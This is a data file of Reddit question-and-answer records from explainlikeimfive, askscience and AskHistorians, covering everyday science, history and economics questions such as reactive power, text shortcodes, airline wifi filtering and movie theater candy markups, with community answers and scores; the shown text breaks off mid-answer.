{"q_id": "1037nb", "title": "Are apples more effective than coffee at keeping you awake?", "selftext": "My friend told me that apples are better than coffee at keeping you wake. I was a bit skeptical but browsing the internet did not give a clear answer. Give some scientific reasons as well.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1037nb/are_apples_more_effective_than_coffee_at_keeping/", "answers": {"a_id": ["c6a0dn3", "c6a4uwn", "c6agile"], "score": [40, 3, 2], "text": ["The wakefulness-promoting properties of caffeine are well-documented. Apples contain no such compounds. If there's something in an apple that helps keep you awake, it's the sugar content.", "I've heard something similar to this, although it was more focused on initially waking up rather than staying awake. To my understanding, part of reason eating apples is allegedly better at promoting wakefulness isn't actually specific to the apple at all - the act of chewing/digesting is supposed to play a role.\n\nDoes somebody know if there is any truth to this? Does the digestive process actually help to wake someone up?", "Take a bite of an apple and then convince yourself there may have been a worm in that bite, that will keep you awake."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1rgiwg", "title": "Why do many Norse names and words have silent Rs at the end?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rgiwg/why_do_many_norse_names_and_words_have_silent_rs/", "answers": {"a_id": ["cdn24sf"], "score": [2], "text": ["while there are a few Norse historians here, and a few that read Old Norse, this question might do better in /r/linguistics"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1z9lne", "title": "How did one become a palace employee in 18th century Europe.", "selftext": "I just watched Amadeus, and there's footmen all over that movie. They open the emperor's doors. They serve his food. They make his bed. Was this a menial job, like earning minimum wage? Or was there intense scrutiny, like working in the White House?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1z9lne/how_did_one_become_a_palace_employee_in_18th/", "answers": {"a_id": ["cfrtcvm"], "score": [39], "text": ["Domestic servitude in this era was often sort of a hereditary thing. If your father was in service, you likely would also have entered service. The same idea as the son of a blacksmith or baker following in the footsteps of his father. \n\nHowever, being hired in a noble or royal household often depended on a reference from a current or former servant. Male servants were considered a status symbol as they were paid more. Footmen were also chosen for their looks. Daniel Pool, the author of *What Jane Austen Ate and Charles Dickens Knew*, writes: 'livery,' or household uniform of fancy coat, knee breeches, stockings, and powdered hair, a costume that endured to the end of the 1800s. Because of their appearance at dinner and in public with the family, footmen were supposed to be the most 'presentable' of the male servants. They were evaluated on the basis of the appearance of their calves in silk stocking, and they often gave their height when advertising for positions in the paper\u2013it was considered absurd to have a pair of footmen who didn\u2019t match in height. (Poole, p. 221)\n\n[This page] (_URL_0_) details the duties and touches on the evolution of footmen up to the 19th century. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thebookofdays.com/months/jan/12.htm"]]}
{"q_id": "72w36j", "title": "how does one start college after being out of highschool for a few years?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/72w36j/eli5_how_does_one_start_college_after_being_out/", "answers": {"a_id": ["dnlph4v"], "score": [2], "text": ["i suggest starting with a community college, that'll let you get your feet wet and for you to see where you are, so look for a community college near you and look at applying "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1t283a", "title": "how did people take care of personally maintenance issues (like cutting your toenails, etc.) back in the day? before there were readily accessible products for these things?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t283a/how_did_people_take_care_of_personally/", "answers": {"a_id": ["ce3lwfn", "ce3mhbz", "ce3o1nr", "ce3qjwz", "ce3s693", "ce3umoz", "ce3xyrr"], "score": [25, 11, 6, 3, 4, 2, 2], "text": ["We have teeth for a reason... just saying. I know a guy that bites his toenails off.", "I'd assume that way back in caveman days they'd get worn down through normal usage.", "Use your imagination is the best answer.\nLong nail? Blade-sharpening file, blade itself.\nIngrown/unwanted hair? Cut it, burn it, pluck it with fingers, dig it out with a blade.\nDry skin? Animal fat or aloe or something similar.\n\nKnow your land and use it. ", "A stone. They used a sandstone most likely. If you are already using a stone to grind stuff down why not your fingernails? ", "use a scythe to cut your toenails", "Try /r/askhistorians. They'll probably be able give you detailed explanations with citations. ", "they would use there teeth for things like nails, and slivers.\n\nStone age knives were very sharp and could cut hair\n\nthey did not brush teeth\n\nthey would bath in rivers, lakes, and oceans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1xa1ph", "title": "What would happen if you were to play the \"negative\" of a record?", "selftext": "My understanding is that the sounds from records come from little grooves in the record itself.  If you were to take a mold of these grooves to create a \"negative\" of the record, what would it sound like?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xa1ph/what_would_happen_if_you_were_to_play_the/", "answers": {"a_id": ["cf9id4w", "cf9ighv", "cf9lk14", "cf9ls0q", "cf9me29", "cf9y403"], "score": [18, 15, 5, 6, 2, 3], "text": ["The negative would presumably produce a waveform which has the opposite sign as the original. A sign flip is equivalent to a phase shift by pi for the whole signal. Our ears are not sensitive to absolute phase, so the waveform would sound the same. There may be some technicalities associated with the specific medium (e.g. nonlinearity in the transduction from grooves to sound) which might make the situation different for a real record. ", "Well, if it was a true negative you wouldn't get much intelligable sound. A true negative would flip the high and low points on the record. The highest points are the flats between the grooves. So odds are you would get a whole lot of nothing as the needle rode the smooth space between the grooves that's now the lowest point in the record.", "You have to remember that a record is composed of fine grooves. The negative is just going to be fine peaks. So, if you put a needle against the mountain, it would play the same thing, but it's not going 'rest in the groove' the same way.", "If you mean just inverting the resulting sound, it sounds the same. \n\nYou can easily try this yourself even if only digitally, lots of free software does it (Audacity is the most common). Can also be done by inverting the speakers wiring, but more difficult, especially if your speakers use a plug instead (like computer speakers or headphones) or are built in.\n\nYou can also experiment inverting only 1 channel in a stereo recording, this will affect slightly the sound. The most obvious is that thing that sounds that were centered on the recording now sound as if coming from an indeterminate position (or if added together will cancel each other, sometimes used as a poor man's lyrics removal, as voices are usually centered).\n\nNow, if you mean playing back a mold for printing records, I'm not sure that would even be playable, as the needle would have no ditch to track. If you have a record player I know there are a couple resources out there on how to copy an LP, but don't have them at hand. But following them I guess it could be tried with little problem.", "You perceive frequencies in the signal, not the signal itself. \n\nHere's the fun part of your question; what if you inverted the signal and played it at the same time as the original? Well, this is how noise canceling headphones work. ", "If the land between grooves was narrow enough, your stereo channels would be offset by one revolution, so it'd be an awkward reverb effect, with a delay proportional to the RPM.  The music would still be intelligible.  This is based on my recollection that the two \"sides\" of the grooves each correspond to left and right channels.  I'm commenting the relevant illustration (from the best book ever: The Way Things Work by David Macauley with Neil Ardley)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "7enrdx", "title": "how do \"text x to xxxxx\" numbers work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7enrdx/eli5_how_do_text_x_to_xxxxx_numbers_work/", "answers": {"a_id": ["dq6a6i4", "dq6d9x2", "dq6gope"], "score": [4, 10, 2], "text": ["Could be completely wrong here but I am quite sure it works with partnership with a cell company. The cell company can make any numbers they wanted to and the show is partnered up with them to split up the profits from the phone calls and text messages like 60-40 or something which is still a stupid amount of money. \n\nIt basically forwards  < contents of a text message >  to a shortened phone number that moves to a program, that takes the contents that text message and tallies it up with whatever contestant it is. \n\nFor Example:  \n    `if  < contents of text message >  is \"resist\" then`   \n`        votes_of_person gets incremented by 1`", "at least in the US, these are called shortcodes, and you buy them from [this company](_URL_0_) which has agreements with all the telecoms to support these numbers. as to 'how do they work,' well it's no different than a normal phone number as far as how you interact with the phone network is concerned as the user/provider of a shortcode.\n\nthey are really expensive to acquire compared to normal phone numbers and fun fact: every single one of them supports texting STOP to the number to opt out of receiving any more texts from it. supporting this is a requirement of the contract you sign as a company to acquire one of these numbers (or at least was when i looked into it for the company i worked for).\n\nsource: worked at a company where we briefly looked into buying a shortcode to use when sending text message based notifications to our customers, and decided it was not worth it at all.", "I live in Norway, so the administration around it might be different from your country. \n\nFirst off, you need to get the shortcode. There is a part of the state (similar to FCC) that handles this. When the paperwork is done, all the telecom operators (like verizon, AT & NT etc) needs to know who owns it, so they configure incoming SMS to this shortcode to forward to your servers.\n\nNow all of the operators know where to send the incoming SMS. So when you are sending the automatic reply message, you just need to send it back to were it came from.\n\nBut it\u2019s not that simple. All mobile phonenbers are owned by different carriers, and you need to hook up your system to a database that knows the carrier of all phone numbers. Ans after that you need to hookup your system to all the carriers.\n\n\nBut once this is in place, you can sit on your computer and add keywords. All the carriers just automatically forward anything sent to your shortcode to your systems. And your systems needs to know what to do with your keywords. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Telcordia_Technologies"], []]}
{"q_id": "oz8nu", "title": "fragile x-syndrome", "selftext": "EDIT: Found a great concise explanation of it.\n\n\nFragile X syndrome is the most common form of inherited mental retardation. A problem with a specific gene causes the disease. Normally, the gene makes a protein you need for brain development. But the mutation causes a person to make little or none of the protein, which results in the symptoms of Fragile X.\n\nPeople with only a small change in the gene might not show any signs of Fragile X. People with bigger changes can have severe symptoms. These might include\n\nIntelligence problems, ranging from learning disabilities to severe mental retardation\nSocial and emotional problems, such as aggression in boys or shyness in girls\nSpeech and language problems, especially in boys\nFragile X has no cure. You can treat some symptoms with educational, behavioral or physical therapy, and with medicines. Getting treatment early for Fragile X can help.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/oz8nu/eli5fragile_xsyndrome/", "answers": {"a_id": ["c3lbd4u"], "score": [4], "text": ["I have virtually no knowledge of medicine to properly explain, but I do personally know people with Fragile X.\n\nMy girlfriend's cousin and her husband have two kids which have the condition. The boys are great, they have fun like any other kids I've known and go to a special school.\nThey have special needs like anyone with a mental condition and they have not yet learned to speak (They are 7 and 5 I believe). But they communicate very well with their parents via a series of cards with people/places/items, etc. (They are very smart kids)\n\nMy ELI5: An extreme form of Autism (This is how I saw it from staying with them for a week and what my girlfriend has told me)\n\n\n[\"Here is some information (Also; the picture on the main kid is the older of the kids I was talking about)\"](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.fragilexcanada.ca/index.php?home&amp;lng=en"]]}
{"q_id": "6jh6ks", "title": "how did oasis become so popular in the'90s, and why aren't they as iconic as nirvana?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jh6ks/eli5_how_did_oasis_become_so_popular_in_the90s/", "answers": {"a_id": ["dje9687"], "score": [6], "text": ["They had catchy, well written tunes.... for one album. Their follow up albums got worse and worse and the Gallagher brothers were notorious for not getting along with others or even each other. They even fought on stage. What they were not, however, is ground breaking. They sounded like an update of the Beatles. \n\nNirvana, on the other hand, were original. They produced music unlike anything else, over multiple albums. Also, there is something about dying young that tends to make musicians iconic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4odc1u", "title": "the rising price of the japanese yen against the us dollar.", "selftext": "I am going to japan in October and when booking on Airbnb I keep seeing the prices rising. I did see an article today about the Japanese Yen jump more than 1 percent against the dollar. What does this mean for now and what could happen in the future with the Yen? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4odc1u/eli5_the_rising_price_of_the_japanese_yen_against/", "answers": {"a_id": ["d4bjpdw", "d4bjqfs"], "score": [3, 3], "text": ["It's obviously more complex than this, but generally speaking, it's because the buying power of the dollar is falling faster than the buying power on the yen.\n\nEssentially, USD inflation is greater than Yen inflation. Inflation is a complex issue and isn't always a bad thing. Furthermore, when it comes to currency exchange, inflation is not the only factor. Things like import tax can also have an effect. ", "The value of yen going up is independent of the prices of Airbnb. Those are more closely tied to the space availability which Japan does not have much of. Japan in crowded to renting homes or hotel rooms is expensive. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "18pxsa", "title": "what do h & r block and other tax service businesses do when it is not tax season?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18pxsa/eli5_what_do_hr_block_and_other_tax_service/", "answers": {"a_id": ["c8gx98m", "c8gxmwl", "c8gxwi0", "c8gy475", "c8gzhvc", "c8h0n84", "c8h2okk", "c8h3cw8", "c8h3wct"], "score": [14, 21, 19, 120, 7, 11, 2, 17, 2], "text": ["Accountants study new tax laws and loopholes. They usually get re-certified. Take vacation time off. But taxes are filed from Late January to Mid April. Rest of the year its time to improve for the next tax season.", "Make commercials about how good their tax service is ", "My dad is a franchise owner for Liberty income tax, when he isn't in his offices during the off season, he works as a trucker. ", "The same thing other CPA's do during the off-season: they take care of people who didn't file when they were supposed to, as well as people that owe taxes or have the IRS chasing them for money. They also handle business taxes, which, at least in my state, require quarterly returns rather than annual, and help companies with their regular accounting.", "Tax season is year round. You just hear more about it the fist few months of the year when personal taxes are dur", "Many of the \"professionals\" they employ are seasonal data-entry drones. The program they put your numbers into is basically their own version of TurboTax; requisite knowledge of tax code is minimal. I can't speak for the franchise owners or upper management, but the people you see in the offices aren't employed year round.\n\nsource: I worked one season as a tax \"expert\" for Jackson-Hewitt. I received a few hours of training and had to take a simple certification test (you were allowed to continue retaking the test until you passed).", "My wife is a CPA for a large accounting firm but not like H & R where they mostly have seasonal employees that come in from January's though April 15.\n\nOkay so a CPA is a certified public accountant, and they help people and businesses figure if they have paid the right amount of tax throughout the year. Tax season runs from the beginning of the year until tax day, which is April 15th in the US. Most people worry about taxes because they pay some tax for each of their paychecks throughout the year, but at the end of the year they might have paid too much or too little. Tax season is the time to figure out if you paid too much or too little tax. If you paid too much then you get a refund, but if you paid too little then you send a check to the internal revenue service, which handles all the taxes for everyone in the US. \n\nSo when it's not tax season, CPAs have a lot of other work to do. Believe it or not, they actually start planning for the next tax season almost immediately after the current season is over. They plan by helping their clients figure out how to much tax they should pay in every four months, otherwise known as a quarter. Some people and most businesses are required by the IRS to make tax estimates and pay them because the government needs a study flow of money to help keep the country running. The CPAs also do other things for the their clients like audits where the CPA will go in and check to see if their client is managing their business correctly. For example they check inventory, employee benefit programs and the company's financial systems to verify that everything is okay. These audits a very important because it helps companies get or maintain loans to help them keep the business open. So accountants have lots to do when it isn't busy during tax season. ", "Six year vet for H & R Block here. I worked for them while going to college to get my business degree. In my opinion it was a great job to have while going to business school.\n\nAnyways, H & R Block district I worked at kept two offices open during the offseason. One was open once a week, and the main \"district\" office was open twice a week. Like dw_pirate said, its mostly for people who didnt file during the tax season or people getting chased by the IRS. I seriously doubt that the amount of people taken care of during the offseason paid for the rent and utilities of the company. Most of the time was spent training the seasonal tax preparers. H & R Block prided itself on the fact that their tax preparers received the most training compared to other major tax chains. Also, lots of time were spent on preparing to promote the stores when tax season arrived. If you follow H & R Block's quarterly earnings report (and maybe Jackson Hewitt's) they all have negative earnings. It isn't until the end of the 1st quarter that they show profits if I recall correctly. Also, when I had first started, there were also financial services division; home mortgages and stocks investments. While talking to the clients, we were trained to try and sell them to the mortgage and financial investments divisions. H & R Block ended up selling off the mortgage division to solely focus on taxes (new CEO I think had come in). ", "Many things - \n\nContinuing Professional Education (CPE) is required. Some states require up to 80 hours a year. Many tax seminars are available as well that keep everyone updated on new tax law/legislation.\n\nThere is also a lot of tax planning, strategy and advising. You can maintain \"the books\" and log daily business activity for some clients. Year end projections help clients know their liability ahead of time to make appropriate tax moves (i.e. contribute more to their retirement funds etc). Many various odd jobs like filing work for a new entity, creating quarterly estimates and the like. Gifting and estate planning is very big around the year end time as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "2whrov", "title": "Do animals procrastinate?", "selftext": "Now that I think about it, would it be possible to know that an animal knows they \"should\" be doing something but puts it off? idek.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2whrov/do_animals_procrastinate/", "answers": {"a_id": ["cor5kz3", "cord9jd", "corfgwq", "corl5eq"], "score": [36, 8, 130, 8], "text": ["Probably. This study on pigeons suggests that pigeons would be prefer immediate reward even when the cost to get it becomes higher. \n\nMazur, J. E. (1996), PROCRASTINATION BY PIGEONS: PREFERENCE FOR LARGER, MORE DELAYED WORK REQUIREMENTS. Jrnl Exper Analysis Behavior, 65: 159\u2013171. doi: 10.1901/jeab.1996.65-159", "I don't think they have the ability to procrastinate. The lion doesn't have a schedule book that says, must kill deer tomorrow. When the lion is hungry, it goes and kills a deer. Procrastination requires a task that you put off instead of doing it now. I dint think children can procrastinate either until they are assigned tasks. ", "I might be wrong but it seems one could setup an experiment for this.   Teach an animal (like a dog) to complete a task (like pulling a bedsheet off a bed).  Reward it immediately.   Once you accomplish that, leave the room while the dog is busy with the task.  When he comes for his reward, or to see where you are, bring him back to the bed demonstrating that you are just now finding out he accomplished the task. Reward him for it.  Iterate that out so that you leave for work in the morning, and if the sheet is on the floor when you get home, you bring him there and reward him.  Then setup a camera and see if the dog does it in the morning or when he hears your car pulling into the garage.  ", "If an animal has nothing to do the most sensible thing for it to do is conserve energy by doing nothing. Hence why cats are lazy fuckers 80% of the time and lightning acrobatic death machines the other 20%. Hunting animals don't go for challenging targets, they go for the easiest, lamest prey they can find.\n\nIt makes more sense to me to think of human procrastination as falling back into our \"animal\" desire to do nothing but conserve energy/seek the easiest and most immediate source of gratification.\n\n It's the more abstracted you get away from the immediate pressures of surviving (ie studying now so you can pass a test in a month so you can get a piece of paper in 2 years that might get you a job) the harder the brain has conceptualising the immediate benefit and the more procrastination becomes an issue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3jw1fz", "title": "Electrical Theory: What the hell are vars?", "selftext": "Look, this is embarrassing. I am an actual power plant control room operator and feel like I'm pretty good at it. This is the white whale of my knowledge; wtf is a var and why do I need to push vars out? Or maybe the term is Power Factor? Or Imaginary vs Apparent vs Real Power? All these terms have been used to explain it to me, but I can't wrap my mind around it. The closest someone has gotten is that it's back pressure on the grid, but I don't understand the cause of it.\nAny help is greatly appreciated.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3jw1fz/electrical_theory_what_the_hell_are_vars/", "answers": {"a_id": ["cutbnup"], "score": [4], "text": ["var means volt ampere reactive, wich is the unit of imaginary power. Imaginary power is (to use the most easy formulation) all power that is only present to change electric and magnetic fields.\n\nFor example a pure capacitor always has a current proportional to the change of voltage (C*dv/dt=i) and its the other way in a inductor (L*di/dt=v)\n\nif you hook up an ideal inductor to a alternating source it will cause it to have pure imaginary power because all of it is used to change the magnetic field, if you have a resistance in between the power will be shared between real (ohmic) losses and imaginary (inductive) losses and those together are called Apparent. Capacitive and inductive losses can compensate each other (capacitors cause negative imaginary parts)\n\nIf you look a sine signal and try to plot the change rate for every point in time you'll end up with a sine that is shifted by 90 degree or pi/2 radians. sin(x) derived is sin(x+90\u00b0).\n\nand now the cause: electric motors and transformers have large inductivities and therefore cause the current and voltage to get out of phase. There are large synchronous generators hooked to the grid without a turbine, to control the amount of phaseshift.\n\nThe topic is a little too large for a short anwer, if you really want to understand it you should grab a book about complex alternating current calculation.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mgtyr", "title": "why is john boehner orange?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mgtyr/eli5_why_is_john_boehner_orange/", "answers": {"a_id": ["cvetqbc"], "score": [7], "text": ["The ole fake  &  bake.  Probably from tinted moisturizers, as most men who use them are told not to use it around their eyes, leaving them with a reverse-raccoon look.\nAdd in the blindingly white teeth and you've got yourself Rich Man's Oompa Loompa syndrome.  Donald Trump does it pretty poorly as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7qynlg", "title": "when a movie comes on tv and they swap out the curse words with other words who says the lines the actors? or do the networks do it? is there a separate script for that?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7qynlg/eli5_when_a_movie_comes_on_tv_and_they_swap_out/", "answers": {"a_id": ["dsswpro", "dstdo60"], "score": [24, 7], "text": ["It depends on the movie.  Sometimes, they'll have the original actors record \"clean\" versions when they're doing the normal additional dialog recording after filming.   There's even some productions where they'll film takes with the \"clean\" dialog during principal photography.\n\nOther times, they'll just use voice actors who can do a reasonable approximation of the original actor's voice.  They can also snip other bits of the original actor's dialog from mother places in the movie to replace the swear words.\n\nIn general, the \"clean\" versions don't show up in the script since they're done well after the fact unless it's one of the cases where they shoot alternate scenes during filming.", "I was the sound editor for a Snoop Dogg movie. We recorded it afterwards with Snoop. Often there are lines we need to overdub anyway for technical reasons (plane overhead is too loud or there's a clunk or door close over the line, etc) and the cheapest way to do the cuss words is to add the clean versions to the main list. If we are already bringing in the actor anyway, we might as well.\n\nGetting a soundalike actor is actually really tough and can sometimes violate the original actor's contract. And while it would be great for them to shoot alternate versions and cut them in, very few productions plan that far ahead, and adding shots to shoot is more expensive than just dubbing the line, and having an editor take care of it is also more expensive than getting the sound guys to do it as part of the overdub process which is already paid for since the actor is already coming in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cyqeii", "title": "how do airlines and other places providing wifi only allow certain applications to receive data?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cyqeii/eli5_how_do_airlines_and_other_places_providing/", "answers": {"a_id": ["eytjf4r", "eytujl0", "eytzrs6", "eyu1hu2", "eyupdso"], "score": [4, 2, 31, 13, 3], "text": ["It all comes down to what port the data comes in through. Just browsing the internet uses a different port than say watching videos. From there it is as simple as blocking the port on the router.", "There are rules in the firewall to allow certain traffic to certain addresses and certain ports. Most sites are already categorized in the firewall and you just need to select the correct profiles to filter data.", "I would assume the easiest way to do it is by blocking IP addresses. For instance to access a certain game, Facebook, etc you\u2019d need to access their IP. Rather than blocking thousands of IPs though they are more likely allowing through a handful. So only certain IP addresses can be accessed through their router. That\u2019s why you can use Facebook messenger, iMessage, and access the airlines webpages but not stream on YouTube or do any general web surfing.\n\nAirlines have a very limited amount of bandwidth. Their internet comes direct from a satellite which has limited time for them to use. If you have 200 passengers on board trying to do whatever they want on the internet it\u2019s going to get incredibly slow. By limiting it to data messaging they are keeping the bandwidth down. \n\n\nSource: I manage the data systems on an aircraft. We have around 400 kbps available for 20 people which is about enough to do messaging and some basic web browsing. Web pages take forever to load. If we were to try streaming it would crash the system.\n\nEdit: originally answered the why, not the how.", "For a 5 year old:\n\nYou have a bunch of toys, but mom says you can only play with certain toys at certain times. In order to be able to access these toys, she has to set your toy box to be opened allowing you access to these toys. You have several toy boxes that contain all different types of toys and only have access to the ones she says you can.\n\nToys - online services\n\nMom - firewall\n\nPlaying with toys - TCP/IP traffic\n\nHere is a more in depth look at it, that is somewhat simple to understand:\n\n_URL_0_", "When they're not in disguise, most Internet messages are recognised by their signature, which is what they look like. This means the type of messages (usually called TCP or UDP, but the are others too) and the port numbers, but also the destination addresses. Internet traffic controllers, called firewalls, can also read the basic information in each message which can sometimes be a clue about what kind of program it's for. A good firewall can recognise lots of different kinds of Internet message, and can have rules about who can access different programs (websites and services) and who can't, or even during different times of day. Sometimes this lets the owner of the network set limits like only so much Facebook (either meaning time or the number of messages), before you have to pay for more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://documentation.meraki.com/MR/Firewall_and_Traffic_Shaping/Creating_a_Layer_7_Firewall_Rule"], []]}
{"q_id": "drbzzc", "title": "There is a common conception within Irish popular history that Ireland's low level of forest cover is primarily due to extractive deforestation and resource exploitation under Norman/English/British rule. How accurate is this statement?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/drbzzc/there_is_a_common_conception_within_irish_popular/", "answers": {"a_id": ["f6idu46"], "score": [686], "text": ["This is a tricky question to answer because there are really two parts to the question.  \n\nA) Was Ireland deforested during a period of British rule?  Yes.  More of the deforestation-though Irish native species had already been on a decline since the last Ice Age-occurred from the 1600s, with increased demand for agricultural land resulting in the felling of trees, to the 1700s and 1800s, when demand for charcoal, one of the predominant fuel sources of Northwest Europe (alongside peat) began to skyrocket and woods began to disappear in Ireland and England to satisfy the burning (couldn't resist, sorry) desire for cheap energy.  \n\nB) Was this forestry the fault of the British Crown?  Questionable, but I would tend towards the negative.  The English government, if anything, understood the risk of allowing prospectors free reign on woods, having seen its own supply of cheap fuel shrink dramatically in the 1600s and instituting crown protections on forests as a consequence.  The English government specifically allocated woods for certain types of industry-cannon smelting being one notable example-in an effort to preserve the renewable resource for strategic purposes.  The English also changed the methods of extracting wood for energy generation-rather than just cutting down trees, the gathering of wood debris and branches was encouraged instead, allowing the \"stock\" to be replenished rather than just cutting the tree down.  \n\nThat being said, the English crown had less than perfect control over its settlers in Ireland, which in some respects had aspects of the Wild West.  The English crown was also perpetually short of money, and on numerous occasions the crown forests were sold to prospectors for their personal exploitation, which was not exactly helpful to forest conservation efforts.  But what is important to note is that the consumption of these wood products was local: namely, that rather than Irish wood being shipped to England for consumption there (which would usually be considered \"resource exploitation\") it was Irish woodland being chopped down for Irish farmland and wood burned for Irish furnaces.  Granted, much of this was for the benefit of English colonists (as well as Irish natives), but then we start to get into a topic of political identity that I will sidestep for sanity's sake.  \n\nThe short and long of it is, as the population of Ireland grew (from natural growth and immigration), its demand for natural resources-both food and energy-grew accordingly, and the woodland of Ireland paid the price.  While the English government did introduce regulations and protections on the lands, their ability to enforce the regulations-not to mention their willpower-was questionable at best.  \n\nSource: Everett, Nigel, The Woods of Ireland"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b2qgkc", "title": "when thinking about the universe, how to comprehend how big it actually is?", "selftext": "When i think about our universe and the fact it is continuing to grow, what space is it filling? How can something be so large?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b2qgkc/eli5_when_thinking_about_the_universe_how_to/", "answers": {"a_id": ["eiucqex", "eiucuhi", "eiufblt", "eiuis5m"], "score": [3, 5, 3, 2], "text": ["I think the best way to comprehend its size is too simply accept that there is nothing you will ever be able to compare it too, you can\u2019t rationalize it", "It's not filling any space, it's space that is expanding. Yes, I know, difficult to conceive of.", "It's not filling up anything. It's not like expanding like a balloon.  The universe is not growing, it is expanding.  If you have a fixed point on one side of the universe and a fixed point on the other, the distance between them increases but they don't move away from each other.\n\n & #x200B;\n\nThe universe isn't \"something\". It's everything. ", "\u201cSpace is big. You just won't believe how vastly, hugely, mind-bogglingly big it is. I mean, you may think it's a long way down the road to the chemist's, but that's just peanuts to space.\u201d\n\n\u2015 Douglas Adams, The Hitchhiker's Guide to the Galaxy"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "90q6z6", "title": "is there any benefit to mixing alcohol with water rather than your standard mixer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/90q6z6/eli5_is_there_any_benefit_to_mixing_alcohol_with/", "answers": {"a_id": ["e2scf4c"], "score": [2], "text": ["Watering down drinks is pretty legit if you can't handle how strong certain drinks might be. My buddy used to fill up his empty beer bottle with water when no one was looking. We all thought he was a god at drinking for the longest time until someone caught him"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "g8g20", "title": "Is there such a thing as a complete primer to the English language in the event that civilization was wiped out?", "selftext": "What I mean is, does there already exist or could a document be created that would tech an alien or future civilization the English language so that our written history could be easily translated?\n\nIs there also a primer for our written numbering system?\n\n**Edit**\n\nIs this is the incorrect subreddit I apologize, I didn't know whom else academically minded I should direct this question to.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g8g20/is_there_such_a_thing_as_a_complete_primer_to_the/", "answers": {"a_id": ["c1lp4dy", "c1lp5x4", "c1lph06", "c1lqofd"], "score": [3, 3, 8, 2], "text": ["This might be what you're looking for. The [Rosetta Project.](_URL_0_)", "I reckon it could be figured out from archaeological sources.  Think of all the packaging you've seen with multiple languages on the back.  All that would help in deciphering, as would any descriptive artifact.\n\nWe like labeling things, and all that would help reconstruct the language.", "I think it's worth pointing out that the ***English*** language is not the sole repository of civilization.", "Not a bad question. UN Documents are translated into many languages, knowing one language would give you the key to all. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Rosetta_project"], [], [], []]}
{"q_id": "9rv3wo", "title": "why do they mark up candy 300 percent at the movie theater? seems like they'd do a lot more candy selling if they only marked it up 50 percent.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rv3wo/eli5_why_do_they_mark_up_candy_300_percent_at_the/", "answers": {"a_id": ["e8jutbv", "e8juuib", "e8juuyv", "e8juvze", "e8jxo43"], "score": [16, 16, 6, 2, 4], "text": ["Selling 1 at 300 percent requires less inventory and staff than selling 6 at 50 percent?", "Movie theaters have a veeeeeery narrow margin when it comes to movie licensing.\nMost of their profit comes from concessions.", "The extra amount they'd sell by lowering the price wouldn't offset the extra money they make by keeping the price high.\n For example: A $2 profit on 10 sales nets you $20, but a $1 profit on 15 sales nets you $15. \n\nIn economics this is the concept of price elasticity, and sellers are always trying to maximize profit by making slight changes in price to see how total sales reacts.", " > Seems like they'd do a lot more candy selling if they only marked it up 50 percent.\n\nThey would, but their costs would be higher and their margins smaller. They do market analyses to determine a \"good\" price to sell at to maximize profit.\n\nIf people didn't buy at the huge mark-up, they wouldn't sell at the high mark-up. You pay for the convenience of having the treats right outside your movie. You're essentially a captive audience to sell to.", "(I am a 